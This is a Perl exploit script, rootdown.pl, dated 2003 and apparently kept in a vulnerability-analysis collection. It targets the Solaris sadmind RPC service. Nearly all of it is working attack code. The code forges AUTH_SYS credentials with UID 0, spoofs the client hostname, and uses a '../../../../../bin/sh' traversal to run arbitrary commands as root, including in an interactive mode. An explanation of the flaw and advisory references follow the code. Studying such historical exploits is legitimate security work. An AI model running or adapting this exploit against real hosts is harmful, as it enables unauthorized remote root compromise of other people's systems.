lilbool/vuln-code-analysis
0
1#!/usr/bin/perl -w
2##################
3
4##
5# Title: rootdown.pl
6# Purpose: Solaris Remote command executiong via sadmind
7# Author: H D Moore hdm at metasploit.com
8# Copyright: Copyright (C) 2003 METASPLOIT.COM
9##
10
11
12use strict;
13use POSIX;
14use IO::Socket;
15use IO::Select;
16use Getopt::Std;
17
18my $VERSION = "1.0";
19my %opts;
20
21getopts("h:p:c:r:iv", \%opts);
22
23if ($opts{v}) { show_info() }
24
25if (! $opts{h}) { usage() }
26
27my $target_host = $opts{h};
28
29my $target_name = "exploit";
30
31my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
32my $portmap = $opts{r} ? $opts{r} : 111;
33
34
35##
36# Determine the port used by sadmind
37##
38
39my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
40
41if (! $target_port)
42{
43 print STDERR "Error: could not determine port used by sadmind\n";
44 exit(0);
45}
46
47##
48# Determine the hostname of the target
49##
50
51my $s = rpc_socket($target_host, $target_port);
52my $x = rpc_sadmin_exec($target_name, "id");
53print $s $x;
54my $r = rpc_read($s);
55close ($s);
56
57if ($r && $r =~ m/Security exception on host (.*)\. USER/)
58{
59 $target_name = $1;
60} else {
61 print STDERR "Error: could not obtain target hostname.\n";
62 exit(0);
63}
64
65
66##
67# Execute commands :)
68##
69
70
71my $interactive = 0;
72
73if ($opts{i}) { $interactive++ }
74
75do {
76
77 if ($opts{i}) { $command = command_prompt() } else
78 {
79 print STDERR "Executing command on '$target_name' via port $target_port\n";
80 }
81
82 $s = rpc_socket($target_host, $target_port);
83 $x = rpc_sadmin_exec($target_name, $command);
84 print $s $x;
85 $r = rpc_read($s);
86 close ($s);
87
88 if ($r)
89 {
90 # Command Failed
91 if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
92 {
93 print STDERR "Error: something went wrong with the RPC format.\n";
94 exit(0);
95 }
96
97 # Command might have failed
98 if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
99 {
100 print STDERR "Error: something may have gone wrong with the sadmind format\n";
101 }
102
103 # Confirmed success
104 if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
105 {
106 print STDERR "Success: your command has been executed successfully.\n";
107 }
108
109 if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
110
111 } else {
112 print STDERR "Error: no response recieved, you may want to try again.\n";
113 exit(0);
114 }
115
116} while ($interactive);
117
118exit(0);
119
120sub usage {
121 print STDERR "\n";
122 print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
123 print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
124 print STDERR " Options:\n";
125 print STDERR " -i\tStart interactive mode (for multiple commands)\n";
126 print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
127 print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
128 print STDERR " -v\tDisplay information about this exploit\n";
129
130 print STDERR "\n\n";
131 exit(0);
132}
133
134sub show_info {
135
136print "\n\n";
137print " Name: rootdown.pl\n";
138print " Author: H D Moore <hdm\@metasploit.com>\n";
139print "Version: $VERSION\n\n";
140
141# not finsihed :)
142print
143"This exploit targets a weakness in the default security settings
144of the sadmind RPC application. This application is installed and
145enabled by default on most versions of the Solaris operating
146system.\n\n".
147
148"The sadmind application defaults to a weak security mode known as
149AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
150the service will accept a structure containing the user and group
151IDs as well as the originating system name. These values are not
152validated in any form and are completely controlled by the client.
153If the standard sadmin RPC API calls are used to generate the request,
154the ADM_CLIENT_HOST parameter is filled in with the hostname of the
155client system. If the RPC packet is modified so that this field is
156set to the hostname of the remote system, it will be processed as
157if it was a local request. If the user ID is set to zero or the
158value of any user in the sysadmin group, it is possible to call
159arbitrary methods in any class available to sadmind.\n\n".
160
161"If the Solstice AdminSuite client software has not been installed,
162the only class available is 'system', which only contains a single
163method called 'admpipe'. The strings within this program seem to
164suggest that it can be used run arbitrary commands, however I chose
165a different method of command execution. Since each method is simply
166an executable in the class directory, it is possible to use a
167standard directory traversal attack to execute any application.
168We can pass arguments to these methods using the standard API.
169
170An example of spawning a shell which executes the 'id' command:
171
172 # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
173
174"To exploit this vulnerability, we must create a RPC packet that
175calls the '/bin/sh' method, passing it the parameter of the command
176we want to execute. To do this, packet dumps of the 'apm' tool
177were obtained and the format was slowly mapped. The hostname of
178the target system must be known for this exploit to work, however
179when sadmind is called with the wrong name, it replies with a
180'ACCESS DENIED' error message containing the correct name. The
181final code does the following:
182
1831) Queries the portmapper to determine the sadmind port
1842) Sends an invalid request to sadmind to obtain the hostname
1853) Uses the hostname to forge the RPC packet and execute commands
186
187
188This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
189
190Related URLs:
191
192 - http://www.idefense.com/advisory/09.16.03.txt
193 - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
194";
195
196
197
198
199
200exit(0);
201}
202
203sub command_prompt {
204 select(STDOUT); $|++;
205
206 print STDOUT "\nsadmind> ";
207 my $command = <STDIN>;
208 chomp($command);
209 if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
210 {
211 print "\nExiting interactive mode...\n";
212 exit(0);
213 }
214 return ($command)
215}
216
217sub rpc_socket {
218 my ($target_host, $target_port) = @_;
219 my $s = IO::Socket::INET->new
220 (
221 PeerAddr => $target_host,
222 PeerPort => $target_port,
223 Proto => "udp",
224 Type => SOCK_DGRAM
225 );
226
227 if (! $s)
228 {
229 print "\nError: could not create socket to target: $!\n";
230 exit(0);
231 }
232
233 select($s); $|++;
234 select(STDOUT); $|++;
235 nonblock($s);
236 return($s);
237}
238
239sub rpc_read {
240 my ($s) = @_;
241 my $sel = IO::Select->new($s);
242 my $res;
243 my @fds = $sel->can_read(4);
244 foreach (@fds) { $res .= <$s>; }
245 return $res;
246}
247
248sub nonblock {
249 my ($fd) = @_;
250 my $flags = fcntl($fd, F_GETFL,0);
251 fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
252}
253
254sub rpc_getport {
255 my ($target_host, $target_port, $prog, $vers) = @_;
256
257 my $s = rpc_socket($target_host, $target_port);
258
259 my $portmap_req =
260
261 pack("L", rand() * 0xffffffff) . # XID
262 "\x00\x00\x00\x00". # Call
263 "\x00\x00\x00\x02". # RPC Version
264 "\x00\x01\x86\xa0". # Program Number (PORTMAP)
265 "\x00\x00\x00\x02". # Program Version (2)
266 "\x00\x00\x00\x03". # Procedure (getport)
267 ("\x00" x 16). # Credentials and Verifier
268 pack("N", $prog) .
269 pack("N", $vers).
270 pack("N", 0x11). # Protocol: UDP
271 pack("N", 0x00); # Port: 0
272
273 print $s $portmap_req;
274
275 my $r = rpc_read($s);
276 close ($s);
277
278 if (length($r) == 28)
279 {
280 my $prog_port = unpack("N",substr($r, 24, 4));
281 return($prog_port);
282 }
283
284 return undef;
285}
286
287
288sub rpc_sadmin_exec {
289
290 my ($hostname, $command) = @_;
291 my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
292
293
294 my $rpc =
295 pack("L", rand() * 0xffffffff) . # XID
296 "\x00\x00\x00\x00". # Call
297 "\x00\x00\x00\x02". # RPC Version
298 "\x00\x01\x87\x88". # Program Number (SADMIND)
299 "\x00\x00\x00\x0a". # Program Version (10)
300 "\x00\x00\x00\x01". # Procedure
301 "\x00\x00\x00\x01"; # Credentials (UNIX)
302 # Auth Length is filled in
303
304 # pad it up to multiples of 4
305 my $rpc_hostname = $hostname;
306 while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
307
308 my $rpc_auth =
309 # Time Stamp
310 pack("N", time() + 20001) .
311
312 # Machine Name
313 pack("N", length($hostname)) . $rpc_hostname .
314
315 "\x00\x00\x00\x00". # UID = 0
316 "\x00\x00\x00\x00". # GID = 0
317 "\x00\x00\x00\x00"; # No Extra Groups
318
319
320 $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
321
322 my $header =
323
324 # Another Time Stamp
325 reverse(pack("L", time() + 20005)) .
326
327 "\x00\x07\x45\xdf".
328
329 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
330 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
331 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
332 "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
333
334 "\x7f\x00\x00\x01". # 127.0.0.1
335 "\x00\x01\x87\x88". # SADMIND
336
337 "\x00\x00\x00\x0a\x00\x00\x00\x04".
338
339 "\x7f\x00\x00\x01". # 127.0.0.1
340 "\x00\x01\x87\x88". # SADMIND
341
342 "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
343 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
344 "\x00\x00\x00\x00".
345
346 "\x00\x00\x00\x3b". $packed_host.
347
348 "\x00\x00\x00\x00\x06" . "system".
349
350 "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
351
352 # Append Body Length ^-- Here
353
354 my $body =
355 "\x00\x00\x00\x0e". "ADM_FW_VERSION".
356 "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
357 "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
358
359 "\x00\x00\x00\x08". "ADM_LANG".
360 "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
361 "\x00\x01". "C" .
362 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
363
364 "\x00\x00\x00\x0d". "ADM_REQUESTID".
365 "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
366 "0810:1010101010:1"."\x00\x00\x00".
367 "\x00\x00\x00\x00\x00\x00\x00\x00".
368
369 "\x00\x00\x00\x09". "ADM_CLASS".
370 "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
371 "\x00\x00\x00\x06" . "system" .
372 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
373
374
375 "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
376 "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
377 "\x00\x00\x00\x03". "2.1".
378 "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
379
380
381 "\x00\x00\x00\x0a" . "ADM_METHOD" .
382 "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
383 "\x00\x00\x00\x15". "../../../../../bin/sh" .
384 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
385
386 "\x00\x00\x00\x08". "ADM_HOST" .
387 "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
388 $packed_host.
389
390 "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
391 "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
392 "\x00\x00\x00\x00\x09".
393
394 pack("N", length($hostname) + 1) .
395 pack("N", length($hostname)) .
396 $rpc_hostname .
397 "\x00\x00\x00\x00". "\x00\x00\x00\x00".
398
399 "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
400 "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
401 "\x00\x00\x00\x00\x00\x00".
402
403 "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
404 "\x00\x00\x00\x00\x00".
405 "\x00\x09\x00\x00\x00\x1c".
406 "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
407 "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
408
409
410 "\x00\x00\x00\x09" . "ADM_FENCE" .
411 "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
412 "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
413 "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
414 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
415 "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
416
417 $command . ("\x00" x (512 - length($command))).
418
419 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
420 "netmgt_endofargs";
421
422 my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
423
424 return($res);
425}
426
427
428
429# milw0rm.com [2003-09-19]